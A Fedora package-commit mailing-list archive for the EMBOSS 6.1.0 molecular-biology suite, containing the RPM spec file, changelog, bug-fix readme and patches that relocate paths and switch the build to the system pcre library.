setenv EMBOSS_ACDROOT %{emhome}/acd
setenv EMBOSS_DOCROOT %{emhome}/doc
setenv EMBOSS_DATABASE_DIR %{emhome}/data
setenv EMBOSS_DATA %{emhome}/data
__EOF__

rm $RPM_BUILD_ROOT%{_libdir}/*.la

#this file has zero length, so kill it
rm $RPM_BUILD_ROOT%{_datadir}/EMBOSS/test/data/dna.aln

#fix executable permissions
pushd $RPM_BUILD_ROOT%{_datadir}/EMBOSS/jemboss/utils
chmod +x install-jemboss-server.sh keys.sh makeFileManagerJNLP.sh makeJar.csh \
     makeJNLP.sh
popd
pushd $RPM_BUILD_ROOT%{_datadir}/EMBOSS/jemboss/api
chmod +x getClasses.pl makeDocs.csh
popd

#rename conflicting binaries
mv $RPM_BUILD_ROOT%{_bindir}/chaos $RPM_BUILD_ROOT%{_bindir}/em_chaos


%clean
rm -rf $RPM_BUILD_ROOT


%post libs -p /sbin/ldconfig


%postun libs -p /sbin/ldconfig


%files
%defattr(-,root,root,-)
%doc AUTHORS ChangeLog COPYING FAQ INSTALL LICENSE NEWS README README.fixes THANKS
%{_bindir}/*
%exclude %{_bindir}/runJemboss.csh
%exclude %{_bindir}/jembossctl
%{_datadir}/EMBOSS
%exclude %{_datadir}/EMBOSS/jemboss
%config %{_sysconfdir}/profile.d/*


%files devel
%defattr(-,root,root,-)
%{_libdir}/*.so
%{_includedir}/EMBOSS

%files libs
%defattr(-,root,root,-)
%{_libdir}/*.so.*


#%files java
#%defattr(-,root,root,-)
#%doc jemboss/README jemboss/resources jemboss/api
#%{_bindir}/runJemboss.csh
#%{_bindir}/jembossctl
#%{_datadir}/EMBOSS/jemboss


%changelog
* Sat Oct 17 2009 Julian Sikorski <belegdol at fedoraproject.org> - 6.1.0-5
- Added comments explaining the purpose of each patch

* Mon Oct 05 2009 Julian Sikorski <belegdol at fedoraproject.org> - 6.1.0-4
- Renamed conflicting binaries
- Disabled jemboss

* Tue Sep 29 2009 Julian Sikorski <belegdol at fedoraproject.org> - 6.1.0-3
- Re-enabled system pcre usage
- Initial attempt at using system-wide .jar files

* Tue Sep 22 2009 Julian Sikorski <belegdol at fedoraproject.org> - 6.1.0-2
- Added the upstream 1-2 patch

* Wed Jul 29 2009 Julian Sikorski <belegdol at fedoraproject.org> - 6.1.0-1
- Updated to 6.1.0
- Dropped pcre-devel from BuildRequires for the time being
- Ditto --with-java and --with-javaos
- Patched jemboss/Makefile.am not to include DESTDIR in runJemboss.sh
- Install the header files in EMBOSS subdir
- Added the missing executable bits

* Fri Jun 12 2009 Julian Sikorski <belegdol at fedoraproject.org> - 6.0.1-3
- Updated the upstream patch to 1-12
- Added the patch readme to %%doc

* Thu Apr 16 2009 Julian Sikorski <belegdol at fedoraproject.org> - 6.0.1-2
- Own %%{_datadir}/EMBOSS
- Don't use %%{name} macro in %%files
- Updated the upstream patch to 1-7
- Use dist instead of dist_tag
- Adjusted whitespaces
- Added pcre-devel to BuildRequires
- Fixed spurious executable permissions
- Removed the empty dna.aln file
- Patched jemboss.properties to include the paths this package uses
- Made the -java package require the main one

* Mon Sep 29 2008 Dominik Mierzejewski <rpm at greysector.net> 6.0.1-1
- updated to 6.0.1
- applied upstream patch 1-1
- patched to use system pcre

* Tue Jan 08 2008 Dominik Mierzejewski <rpm at greysector.net> 5.0.0-1
- Cleaned up BioRPMs' spec
- Updated to 5.0.0

* Thu Mar 17 2005 Bent Terp <Bent.Terp at biosci.ki.se>
- Upped to 2.10.0

* Fri Jul 16 2004 Bent Terp <Bent.Terp at biosci.ki.se>
- Had forgotten the emboss_database_dir env var

* Wed Feb 18 2004 Bent Terp <Bent.Terp at biosci.ki.se>
- Tried to make the building more dynamic. Added Requires and BuildRequires

* Thu Dec 04 2003 Luc Ducazu <luc at biolinux.org>
- Build for EMBOSS 2.8.0
- subpackage jemboss

* Wed Jun 11 2003 Luc Ducazu <luc at biolinux.org>
- Build for EMBOSS 2.7.1

* Tue Jan 28 2003 Luc Ducazu <luc at biolinux.org>
- Build for EMBOSS 2.6.0
- Programs moved to /usr/local/bin
- Adopted many ideas from Guillaume Rousse <g.rousse at linux-mandrake.com>

* Wed Nov 27 2002 Luc Ducazu <luc at biolinux.org>
- Initial build for EMBOSS 2.5.1


--- NEW FILE README.fixes ---
The files in this directory are bugfix replacements for files in
the EMBOSS-6.1.0 distribution. Just drop the replacement files in
the location shown and redo the 'make install.'

Fix 1. EMBOSS-6.1.0/ajax/ajfeat.c
       EMBOSS-6.1.0/ajax/ajseqread.c
       EMBOSS-6.1.0/ajax/ajseqwrite.c
       EMBOSS-6.1.0/jemboss/org/emboss/jemboss/gui/Browser.java
       EMBOSS-6.1.0/jemboss/org/emboss/jemboss/gui/BuildProgramMenu.java
       EMBOSS-6.1.0/jemboss/org/emboss/jemboss/gui/form/BuildJembossForm.java
       EMBOSS-6.1.0/jemboss/org/emboss/jemboss/gui/sequenceChooser/InputSequenceAttributes.java
       EMBOSS-6.1.0/jemboss/org/emboss/jemboss/soap/GetVersion.java
       EMBOSS-6.1.0/jemboss/org/emboss/jemboss/soap/ShowDB.java
       EMBOSS-6.1.0/jemboss/utils/install-jemboss-server.sh
       EMBOSS-6.1.0/jemboss/lib/client.jar

29 Jul 2009: Fix feature specification problems in Jemboss.
             Use version number to point to documentation URLs
             Remove standalone option from server script.
             Correct FASTQ input searching for '@' to start next sequence
             Standardize FASTQ sequence formats with other OpenBio projects
             Correct issues in igstrict, genpept and refseqp formats

Fix 2. EMBOSS-6.1.0/ajax/ajmem.h
       EMBOSS-6.1.0/ajax/ajstr.c
       EMBOSS-6.1.0/ajax/ajstr.h
       EMBOSS-6.1.0/nucleus/embaln.c

24-Aug-2009: Fix string extension so that pointers in lists remain valid.
             This fixes a bug in processing SwissProt complex descriptions.
             Fix definition of AJRESIZE0 macro.
	     Fix processing of first match in a profile alignment (prophet).


--- NEW FILE import.log ---
EMBOSS-6_1_0-5_fc11:F-12:EMBOSS-6.1.0-5.fc11.src.rpm:1255819735


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/EMBOSS/F-12/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	17 Oct 2009 20:39:05 -0000	1.1
+++ .cvsignore	17 Oct 2009 22:49:35 -0000	1.2
@@ -0,0 +1,2 @@
+EMBOSS-6.1.0.tar.gz
+patch-1-2.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/EMBOSS/F-12/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	17 Oct 2009 20:39:05 -0000	1.1
+++ sources	17 Oct 2009 22:49:36 -0000	1.2
@@ -0,0 +1,2 @@
+6c5163c571bc0be94d64420ce0d71824  EMBOSS-6.1.0.tar.gz
+faec6ddd399ef243f4d6ffbcc878b009  patch-1-2.gz



From belegdol at fedoraproject.org  Sat Oct 17 22:50:58 2009
From: belegdol at fedoraproject.org (belegdol)
Date: Sat, 17 Oct 2009 22:50:58 +0000 (UTC)
Subject: rpms/EMBOSS/F-11 EMBOSS-6.1.0-destdir.patch, NONE,
	1.1 EMBOSS-fedora.patch, NONE, 1.1 EMBOSS-system-pcre.patch,
	NONE, 1.1 EMBOSS.spec, NONE, 1.1 README.fixes, NONE,
	1.1 import.log, NONE, 1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091017225058.B69B611C00EC@cvs1.fedora.phx.redhat.com>

Author: belegdol

Update of /cvs/pkgs/rpms/EMBOSS/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv30790/F-11

Modified Files:
	.cvsignore sources 
Added Files:
	EMBOSS-6.1.0-destdir.patch EMBOSS-fedora.patch 
	EMBOSS-system-pcre.patch EMBOSS.spec README.fixes import.log 
Log Message:
Initial import

EMBOSS-6.1.0-destdir.patch:
 Makefile.am |    2 +-
 Makefile.in |    2 +-
 2 files changed, 2 insertions(+), 2 deletions(-)

--- NEW FILE EMBOSS-6.1.0-destdir.patch ---
--- jemboss/Makefile.am.destdir	2009-06-15 13:08:19.000000000 +0200
+++ jemboss/Makefile.am	2009-07-29 12:52:37.000000000 +0200
@@ -64,7 +64,7 @@
 	echo "(cd $(prefix)/share/$(PACKAGE)/jemboss; java org/emboss/jemboss/Jemboss &)" >> $(DESTDIR)$(bindir)/runJemboss.csh; \
 	chmod 755 $(DESTDIR)$(bindir)/runJemboss.csh; \
 	(cd $(DESTDIR)$(prefix)/share/$(PACKAGE)/jemboss/resources; sed "s|user.auth=true|user.auth=false|" jemboss.properties | sed "s|jemboss.server=true|jemboss.server=false|" |  sed "s|/packages/emboss/STABLE|$(prefix)|" > jemboss.properties.new; mv -f jemboss.properties.new jemboss.properties; cd -); \
-    sed "s|JEMBOSS_HOME=.|JEMBOSS_HOME=$(DESTDIR)$(prefix)/share/$(PACKAGE)/jemboss/|" runJemboss.sh > $(DESTDIR)$(prefix)/share/$(PACKAGE)/jemboss/runJemboss.sh; \
+    sed "s|JEMBOSS_HOME=.|JEMBOSS_HOME=$(prefix)/share/$(PACKAGE)/jemboss/|" runJemboss.sh > $(DESTDIR)$(prefix)/share/$(PACKAGE)/jemboss/runJemboss.sh; \
     chmod 755 $(DESTDIR)$(prefix)/share/$(PACKAGE)/jemboss/runJemboss.sh;
     
 pkgdata_DATA = LICENSE readme.html README
--- jemboss/Makefile.in.destdir	2009-07-15 01:16:00.000000000 +0200
+++ jemboss/Makefile.in	2009-07-29 12:52:39.000000000 +0200
@@ -682,7 +682,7 @@
 	echo "(cd $(prefix)/share/$(PACKAGE)/jemboss; java org/emboss/jemboss/Jemboss &)" >> $(DESTDIR)$(bindir)/runJemboss.csh; \
 	chmod 755 $(DESTDIR)$(bindir)/runJemboss.csh; \
 	(cd $(DESTDIR)$(prefix)/share/$(PACKAGE)/jemboss/resources; sed "s|user.auth=true|user.auth=false|" jemboss.properties | sed "s|jemboss.server=true|jemboss.server=false|" |  sed "s|/packages/emboss/STABLE|$(prefix)|" > jemboss.properties.new; mv -f jemboss.properties.new jemboss.properties; cd -); \
-    sed "s|JEMBOSS_HOME=.|JEMBOSS_HOME=$(DESTDIR)$(prefix)/share/$(PACKAGE)/jemboss/|" runJemboss.sh > $(DESTDIR)$(prefix)/share/$(PACKAGE)/jemboss/runJemboss.sh; \
+    sed "s|JEMBOSS_HOME=.|JEMBOSS_HOME=$(prefix)/share/$(PACKAGE)/jemboss/|" runJemboss.sh > $(DESTDIR)$(prefix)/share/$(PACKAGE)/jemboss/runJemboss.sh; \
     chmod 755 $(DESTDIR)$(prefix)/share/$(PACKAGE)/jemboss/runJemboss.sh;
 
 # tar to pick up the other directories

EMBOSS-fedora.patch:
 jemboss.properties |    6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

--- NEW FILE EMBOSS-fedora.patch ---
--- jemboss/resources/jemboss.properties.fedora	2008-05-02 15:27:28.000000000 +0200
+++ jemboss/resources/jemboss.properties	2009-04-16 20:11:28.000000000 +0200
@@ -5,8 +5,8 @@
 service.public=JembossAuthServer
 service.private=JembossAuthServer
 plplot=/packages/emboss/STABLE/share/EMBOSS/
-embossData=/packages/emboss/STABLE/share/EMBOSS/data/
-embossBin=/packages/emboss/STABLE/bin/
+embossData=/usr/share/EMBOSS/data/
+embossBin=/usr/bin/
 embossPath=/usr/bin:/bin:/packages/clustal/:/packages/primer3/bin:/data/jobqueue/bin/:/usr/ucb/
-acdDirToParse=/packages/emboss/STABLE/share/EMBOSS/acd/
+acdDirToParse=/usr/share/EMBOSS/acd/
 embossURL=http://emboss.sourceforge.net/

EMBOSS-system-pcre.patch:
 ajax/Makefile.in |   26 ++++-----------------
 ajax/ajreg.h     |    6 ++--
 configure        |   67 +++++++++++++++++++++++++++++++++++++++++++++++++++++++
 3 files changed, 75 insertions(+), 24 deletions(-)

--- NEW FILE EMBOSS-system-pcre.patch ---
diff -up EMBOSS-6.1.0/ajax/ajreg.h.pcre EMBOSS-6.1.0/ajax/ajreg.h
--- EMBOSS-6.1.0/ajax/ajreg.h.pcre	2007-02-09 19:30:59.000000000 +0100
+++ EMBOSS-6.1.0/ajax/ajreg.h	2009-09-27 03:17:19.000000000 +0200
@@ -16,8 +16,8 @@ extern "C"
 #define ajreg_h
 
 #include "ajax.h"
-#include "pcre_internal.h"
-#include "pcreposix.h"
+#include <pcre.h>
+#include <pcreposix.h>
 
 #define AJREG_OVECSIZE 30
 
@@ -37,7 +37,7 @@ extern "C"
 ******************************************************************************/
 
 typedef struct AjSRegexp {
-    real_pcre *pcre;
+    struct real_pcre *pcre;
     pcre_extra *extra;
     int *ovector;
     const char* orig;
diff -up EMBOSS-6.1.0/ajax/Makefile.in.pcre EMBOSS-6.1.0/ajax/Makefile.in
--- EMBOSS-6.1.0/ajax/Makefile.in.pcre	2009-07-15 01:15:58.000000000 +0200
+++ EMBOSS-6.1.0/ajax/Makefile.in	2009-09-27 03:17:19.000000000 +0200
@@ -81,7 +81,7 @@ am__libajax_la_SOURCES_DIST = ajacd.c aj
 	ajphylo.c ajrange.c ajreg.c ajreport.c ajseq.c ajseqabi.c \
 	ajseqdb.c ajseqread.c ajseqtype.c ajseqwrite.c ajsort.c \
 	ajstr.c ajsys.c ajtable.c ajtime.c ajtranslate.c ajtree.c \
-	ajutil.c ajvector.c pcre.c pcre_study.c pcreposix.c ajgraph.c \
+	ajutil.c ajvector.c \
 	ajhist.c
 am__objects_1 = ajacd.lo ajalign.lo ajarr.lo ajassert.lo ajbase.lo \
 	ajcall.lo ajcod.lo ajdan.lo ajdmx.lo ajdom.lo ajdomain.lo \
@@ -92,7 +92,7 @@ am__objects_1 = ajacd.lo ajalign.lo ajar
 	ajreport.lo ajseq.lo ajseqabi.lo ajseqdb.lo ajseqread.lo \
 	ajseqtype.lo ajseqwrite.lo ajsort.lo ajstr.lo ajsys.lo \
 	ajtable.lo ajtime.lo ajtranslate.lo ajtree.lo ajutil.lo \
-	ajvector.lo pcre.lo pcre_study.lo pcreposix.lo
+	ajvector.lo
 am__objects_2 = ajgraph.lo ajhist.lo
 @ISCYGWIN_FALSE at am_libajax_la_OBJECTS = $(am__objects_1)
 @ISCYGWIN_TRUE at am_libajax_la_OBJECTS = $(am__objects_1) \
@@ -159,7 +159,6 @@ EXEEXT = @EXEEXT@
 FGREP = @FGREP@
 GREP = @GREP@
 HAVE_MEMMOVE = @HAVE_MEMMOVE@
-HAVE_STRERROR = @HAVE_STRERROR@
 INSTALL = @INSTALL@
 INSTALL_DATA = @INSTALL_DATA@
 INSTALL_PROGRAM = @INSTALL_PROGRAM@
@@ -172,7 +171,7 @@ LD = @LD@
 LDFLAGS = @LDFLAGS@
 LIBOBJS = @LIBOBJS@
 #LDFLAGS = -no-undefined
-LIBS = 
+LIBS = @LIBS@
 LIBTOOL = @LIBTOOL@
 LIPO = @LIPO@
 LN_S = @LN_S@
@@ -193,13 +192,6 @@ PACKAGE_STRING = @PACKAGE_STRING@
 PACKAGE_TARNAME = @PACKAGE_TARNAME@
 PACKAGE_VERSION = @PACKAGE_VERSION@
 PATH_SEPARATOR = @PATH_SEPARATOR@
-PCRE_DATE = @PCRE_DATE@
-PCRE_LIB_VERSION = @PCRE_LIB_VERSION@
-PCRE_MAJOR = @PCRE_MAJOR@
-PCRE_MINOR = @PCRE_MINOR@
-PCRE_POSIXLIB_VERSION = @PCRE_POSIXLIB_VERSION@
-PCRE_VERSION = @PCRE_VERSION@
-POSIX_MALLOC_THRESHOLD = @POSIX_MALLOC_THRESHOLD@
 RANLIB = @RANLIB@
 SED = @SED@
 SET_MAKE = @SET_MAKE@
@@ -272,8 +264,6 @@ top_srcdir = @top_srcdir@
 @ISAIXIA64_TRUE@@ISSHARED_TRUE@@NEEDAJAX_FALSE at AM_CFLAGS = -Wl,-G -L../plplot/.libs -L.libs -leplplot -lm
 @ISAIXIA64_TRUE@@ISSHARED_TRUE@@NEEDAJAX_TRUE at AM_CFLAGS = -Wl,-G -L../plplot/.libs -L.libs -lajax -leplplot -lm
 @ISCYGWIN_TRUE at AM_LDFLAGS = -no-undefined -Wl,--add-stdcall-alias -Wl,--export-all-symbols -Wl,--enable-auto-import -L../plplot -leplplot
-PCRELIBVERSION = @PCRE_LIB_VERSION@
-PCREPOSIXLIBVERSION = @PCRE_POSIXLIB_VERSION@
 INCLUDES = -DAJAX_FIXED_ROOT=$(AJAX_FIXED_ROOT) -DPREFIX=\"$(prefix)\" -I$(top_srcdir)/plplot $(POSIX_MALLOC_THRESHOLD) 
 AJAXSRC = ajacd.c ajalign.c ajarr.c ajassert.c \
 ajbase.c ajcall.c ajcod.c \
@@ -288,8 +278,7 @@ ajrange.c ajreg.c ajreport.c \
 ajseq.c ajseqabi.c ajseqdb.c ajseqread.c ajseqtype.c ajseqwrite.c \
 ajsort.c ajstr.c ajsys.c \
 ajtable.c ajtime.c ajtranslate.c ajtree.c \
-ajutil.c ajvector.c \
-pcre.c pcre_study.c pcreposix.c
+ajutil.c ajvector.c
 
 AJAXGSRC = ajgraph.c ajhist.c
 include_HEADERS = ajax.h ajarch.h ajdefine.h \
@@ -303,9 +292,7 @@ ajpat.h ajpdb.h ajpdbio.h ajphylo.h \
 ajrange.h ajreg.h ajreport.h \
 ajseq.h ajseqabi.h ajseqdata.h ajseqdb.h ajseqread.h ajseqtype.h ajseqwrite.h \
 ajsort.h ajstr.h ajsys.h \
-ajtable.h ajtime.h ajtranslate.h ajtree.h ajutil.h ajvector.h \
-pcre.h pcre_chartables.c pcre_config.h pcre_get.c pcre_printint.c \
-pcre_internal.h pcreposix.h
+ajtable.h ajtime.h ajtranslate.h ajtree.h ajutil.h ajvector.h
 
 @ISCYGWIN_FALSE at libajax_la_SOURCES = $(AJAXSRC)
 @ISCYGWIN_TRUE at libajax_la_SOURCES = $(AJAXSRC) $(AJAXGSRC)
@@ -440,9 +427,6 @@ distclean-compile:
 @AMDEP_TRUE@@am__include@ @am__quote at ./$(DEPDIR)/ajtree.Plo at am__quote@
 @AMDEP_TRUE@@am__include@ @am__quote at ./$(DEPDIR)/ajutil.Plo at am__quote@
 @AMDEP_TRUE@@am__include@ @am__quote at ./$(DEPDIR)/ajvector.Plo at am__quote@
- at AMDEP_TRUE@@am__include@ @am__quote at ./$(DEPDIR)/pcre.Plo at am__quote@
- at AMDEP_TRUE@@am__include@ @am__quote at ./$(DEPDIR)/pcre_study.Plo at am__quote@
- at AMDEP_TRUE@@am__include@ @am__quote at ./$(DEPDIR)/pcreposix.Plo at am__quote@
 
 .c.o:
 @am__fastdepCC_TRUE@	$(COMPILE) -MT $@ -MD -MP -MF $(DEPDIR)/$*.Tpo -c -o $@ $<
diff -up EMBOSS-6.1.0/configure.pcre EMBOSS-6.1.0/configure
--- EMBOSS-6.1.0/configure.pcre	2009-07-15 01:15:56.000000000 +0200
+++ EMBOSS-6.1.0/configure	2009-09-27 03:21:32.000000000 +0200
@@ -16724,6 +16724,73 @@ _ACEOF
 
 fi
 
+{ echo "$as_me:$LINENO: checking for pcre_compile in -lpcre" >&5
+echo $ECHO_N "checking for pcre_compile in -lpcre... $ECHO_C" >&6; }
+if test "${ac_cv_lib_pcre_pcre_compile+set}" = set; then
+  echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+  ac_check_lib_save_LIBS=$LIBS
+LIBS="-lpcre  $LIBS"
+cat >conftest.$ac_ext <<_ACEOF
+/* confdefs.h.  */
+_ACEOF
+cat confdefs.h >>conftest.$ac_ext
+cat >>conftest.$ac_ext <<_ACEOF
+/* end confdefs.h.  */
+
+/* Override any GCC internal prototype to avoid an error.
+   Use char because int might match the return type of a GCC
+   builtin and then its argument prototype would still apply.  */
+#ifdef __cplusplus
+extern "C"
+#endif
+char pcre_compile ();
+int
+main ()
+{
+return pcre_compile ();
+  ;
+  return 0;
+}
+_ACEOF
+rm -f conftest.$ac_objext conftest$ac_exeext
+if { (ac_try="$ac_link"
+case "(($ac_try" in
+  *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;;
+  *) ac_try_echo=$ac_try;;
+esac
+eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5
+  (eval "$ac_link") 2>conftest.er1
+  ac_status=$?
+  grep -v '^ *+' conftest.er1 >conftest.err
+  rm -f conftest.er1
+  cat conftest.err >&5
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); } && {
+         test -z "$ac_c_werror_flag" ||
+         test ! -s conftest.err
+       } && test -s conftest$ac_exeext &&
+       $as_test_x conftest$ac_exeext; then
+  ac_cv_lib_pcre_pcre_compile=yes
+else
+  echo "$as_me: failed program was:" >&5
+sed 's/^/| /' conftest.$ac_ext >&5
+
+        ac_cv_lib_pcre_pcre_compile=no
+fi
+
+rm -f core conftest.err conftest.$ac_objext conftest_ipa8_conftest.oo \
+      conftest$ac_exeext conftest.$ac_ext
+LIBS=$ac_check_lib_save_LIBS
+fi
+{ echo "$as_me:$LINENO: result: $ac_cv_lib_pcre_pcre_compile" >&5
+echo "${ECHO_T}$ac_cv_lib_pcre_pcre_compile" >&6; }
+if test "x$ac_cv_lib_pcre_pcre_compile" = x""yes; then
+  LIBS="-lpcre $LIBS"
+else
+  LIBS="$LIBS"
+fi
+
 
 if test "`uname`" = "FreeBSD" && ${with_pngdriver} != "no"; then
 { $as_echo "$as_me:$LINENO: checking for main in -liconv" >&5


--- NEW FILE EMBOSS.spec ---
# TODO:
# fix jemboss and enable it

%define emhome %{_datadir}/EMBOSS

Name:           EMBOSS
Version:        6.1.0
Release:        5%{?dist}
Summary:        The European Molecular Biology Open Software Suite

Group:          Applications/Engineering
License:        GPLv2+
URL:            http://emboss.sf.net/
Source0:        ftp://emboss.open-bio.org/pub/EMBOSS/%{name}-%{version}.tar.gz
Source1:        README.fixes
#Upstream patch
Patch0:         ftp://emboss.open-bio.org/pub/EMBOSS/fixes/patches/patch-1-2.gz
#Use system-wide pcre. Sent upstream.
Patch1:         %{name}-system-pcre.patch
#Fedora-specific. Not sent upstream.
Patch2:         %{name}-fedora.patch
#Add missing destdir. Sent upstream.
Patch3:         %{name}-6.1.0-destdir.patch
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildRequires:  gd-devel
#BuildRequires:  java-devel
BuildRequires:  pam-devel
BuildRequires:  pcre-devel
#BuildRequires:  axis classpathx-jaf jakarta-commons-discovery
#BuildRequires:  jakarta-commons-logging log4j wsdl4j

%description
EMBOSS is a new, free Open Source software analysis package specially
developed for the needs of the molecular biology (e.g. EMBnet) user community.
The software automatically copes with data in a variety of formats and even
allows transparent retrieval of sequence data from the web. Also, as extensive
libraries are provided with the package, it is a platform to allow other
scientists to develop and release software in true open source spirit.
EMBOSS also integrates a range of currently available packages and tools for
sequence analysis into a seamless whole.

Reference for EMBOSS: Rice,P. Longden,I. and Bleasby,A.
"EMBOSS: The European Molecular Biology Open Software Suite"
Trends in Genetics June 2000, vol 16, No 6. pp.276-277


%package devel
Summary:        Development tools for programs which will use the %{name} library
Group:          Development/Libraries
Requires:       %{name}-libs = %{version}-%{release}

%description devel
The %{name}-devel package includes the header files and static libraries
necessary for developing programs which will use the %{name} library.


%package libs
Summary:        Shared libraries for %{name}
Group:          System Environment/Libraries

%description libs
The %{name}-libs package includes the dynamic libraries
necessary for %{name}.


#%package java
#Summary:        Java interface to %{name}
#Group:          Applications/Engineering
#Requires:       %{name} = %{version}-%{release}
#Requires:       axis classpathx-jaf jakarta-commons-discovery
#Requires:       jakarta-commons-logging log4j wsdl4j

#%description java
#Jemboss is a Java interface to EMBOSS, developed at
#the HGMP-RC and in close collaboration with the EMBOSS
#development team. It is distributed as part of the EMBOSS
#software.

#Documentation on Jemboss can be found at:
#http://www.hgmp.mrc.ac.uk/Software/EMBOSS/Jemboss/


%prep
%setup -q
%patch0 -p1
%patch1 -p1 -b .pcre
%patch2 -p0 -b .fedora
%patch3 -p0 -b .destdir

#install the patch readme
install -pm 644 %{SOURCE1} README.fixes

#these files were executable for some reason
chmod 644 emboss/prettyplot.c emboss/polydot.c emboss/supermatcher.c

#use system java libraries
#pushd jemboss/lib
#rm activation.jar;
#ln -s %{_javadir}/activation.jar activation.jar;
#pushd axis
#for i in axis-ant axis jaxrpc saaj;
#do
#    rm $i.jar;
#    ln -s %{_javadir}/axis/$i.jar $i.jar;
#done
#for i in commons-discovery commons-logging wsdl4j;
#do
#    rm $i.jar;
#    ln -s %{_javadir}/$i.jar $i.jar;
#done
#rm log4j-1.2.8.jar
#ln -s %{_javadir}/log4j.jar log4j-1.2.8.jar
#popd
#popd


%build
%configure \
  --without-java \
  --disable-static \
  --with-x \
  --with-auth \
  --with-thread \
  --includedir=%{_includedir}/EMBOSS \
%ifarch ppc64 sparc64 x86_64
  --enable-64 \
%endif

%{__make} %{?_smp_mflags}


%install
rm -rf $RPM_BUILD_ROOT

%{__make} install DESTDIR=$RPM_BUILD_ROOT

install -m 755 -d $RPM_BUILD_ROOT/%{_sysconfdir}/profile.d
cat << __EOF__ >> $RPM_BUILD_ROOT/%{_sysconfdir}/profile.d/emboss.sh
export PLPLOT_LIB=%{emhome}
export EMBOSS_ACDROOT=%{emhome}/acd
export EMBOSS_DOCROOT=%{emhome}/doc
export EMBOSS_DATABASE_DIR=%{emhome}/data
export EMBOSS_DATA=%{emhome}/data
__EOF__

cat << __EOF__ >> $RPM_BUILD_ROOT/%{_sysconfdir}/profile.d/emboss.csh
setenv PLPLOT_LIB %{emhome}
setenv EMBOSS_ACDROOT %{emhome}/acd
setenv EMBOSS_DOCROOT %{emhome}/doc
setenv EMBOSS_DATABASE_DIR %{emhome}/data
setenv EMBOSS_DATA %{emhome}/data
__EOF__

rm $RPM_BUILD_ROOT%{_libdir}/*.la

#this file has zero length, so kill it
rm $RPM_BUILD_ROOT%{_datadir}/EMBOSS/test/data/dna.aln

#fix executable permissions
pushd $RPM_BUILD_ROOT%{_datadir}/EMBOSS/jemboss/utils
chmod +x install-jemboss-server.sh keys.sh makeFileManagerJNLP.sh makeJar.csh \
     makeJNLP.sh
popd
pushd $RPM_BUILD_ROOT%{_datadir}/EMBOSS/jemboss/api
chmod +x getClasses.pl makeDocs.csh
popd

#rename conflicting binaries
mv $RPM_BUILD_ROOT%{_bindir}/chaos $RPM_BUILD_ROOT%{_bindir}/em_chaos


%clean
rm -rf $RPM_BUILD_ROOT


%post libs -p /sbin/ldconfig


%postun libs -p /sbin/ldconfig


%files
%defattr(-,root,root,-)
%doc AUTHORS ChangeLog COPYING FAQ INSTALL LICENSE NEWS README README.fixes THANKS
%{_bindir}/*
%exclude %{_bindir}/runJemboss.csh
%exclude %{_bindir}/jembossctl
%{_datadir}/EMBOSS
%exclude %{_datadir}/EMBOSS/jemboss
%config %{_sysconfdir}/profile.d/*


%files devel
%defattr(-,root,root,-)
%{_libdir}/*.so
%{_includedir}/EMBOSS

%files libs
%defattr(-,root,root,-)
%{_libdir}/*.so.*


#%files java
#%defattr(-,root,root,-)
#%doc jemboss/README jemboss/resources jemboss/api
#%{_bindir}/runJemboss.csh
#%{_bindir}/jembossctl
#%{_datadir}/EMBOSS/jemboss


%changelog
* Sat Oct 17 2009 Julian Sikorski <belegdol at fedoraproject.org> - 6.1.0-5
- Added comments explaining the purpose of each patch

* Mon Oct 05 2009 Julian Sikorski <belegdol at fedoraproject.org> - 6.1.0-4
- Renamed conflicting binaries
- Disabled jemboss

* Tue Sep 29 2009 Julian Sikorski <belegdol at fedoraproject.org> - 6.1.0-3
- Re-enabled system pcre usage
- Initial attempt at using system-wide .jar files

* Tue Sep 22 2009 Julian Sikorski <belegdol at fedoraproject.org> - 6.1.0-2
- Added the upstream 1-2 patch

* Wed Jul 29 2009 Julian Sikorski <belegdol at fedoraproject.org> - 6.1.0-1
- Updated to 6.1.0
- Dropped pcre-devel from BuildRequires for the time being
- Ditto --with-java and --with-javaos
- Patched jemboss/Makefile.am not to include DESTDIR in runJemboss.sh
- Install the header files in EMBOSS subdir
- Added the missing executable bits

* Fri Jun 12 2009 Julian Sikorski <belegdol at fedoraproject.org> - 6.0.1-3
- Updated the upstream patch to 1-12
- Added the patch readme to %%doc

* Thu Apr 16 2009 Julian Sikorski <belegdol at fedoraproject.org> - 6.0.1-2
- Own %%{_datadir}/EMBOSS
- Don't use %%{name} macro in %%files
- Updated the upstream patch to 1-7
- Use dist instead of dist_tag
- Adjusted whitespaces
- Added pcre-devel to BuildRequires
- Fixed spurious executable permissions
- Removed the empty dna.aln file
- Patched jemboss.properties to include the paths this package uses
- Made the -java package require the main one

* Mon Sep 29 2008 Dominik Mierzejewski <rpm at greysector.net> 6.0.1-1
- updated to 6.0.1
- applied upstream patch 1-1
- patched to use system pcre

* Tue Jan 08 2008 Dominik Mierzejewski <rpm at greysector.net> 5.0.0-1
- Cleaned up BioRPMs' spec
- Updated to 5.0.0

* Thu Mar 17 2005 Bent Terp <Bent.Terp at biosci.ki.se>
- Upped to 2.10.0

* Fri Jul 16 2004 Bent Terp <Bent.Terp at biosci.ki.se>
- Had forgotten the emboss_database_dir env var

* Wed Feb 18 2004 Bent Terp <Bent.Terp at biosci.ki.se>
- Tried to make the building more dynamic. Added Requires and BuildRequires

* Thu Dec 04 2003 Luc Ducazu <luc at biolinux.org>
- Build for EMBOSS 2.8.0
- subpackage jemboss

* Wed Jun 11 2003 Luc Ducazu <luc at biolinux.org>
- Build for EMBOSS 2.7.1

* Tue Jan 28 2003 Luc Ducazu <luc at biolinux.org>
- Build for EMBOSS 2.6.0
- Programs moved to /usr/local/bin
- Adopted many ideas from Guillaume Rousse <g.rousse at linux-mandrake.com>

* Wed Nov 27 2002 Luc Ducazu <luc at biolinux.org>
- Initial build for EMBOSS 2.5.1


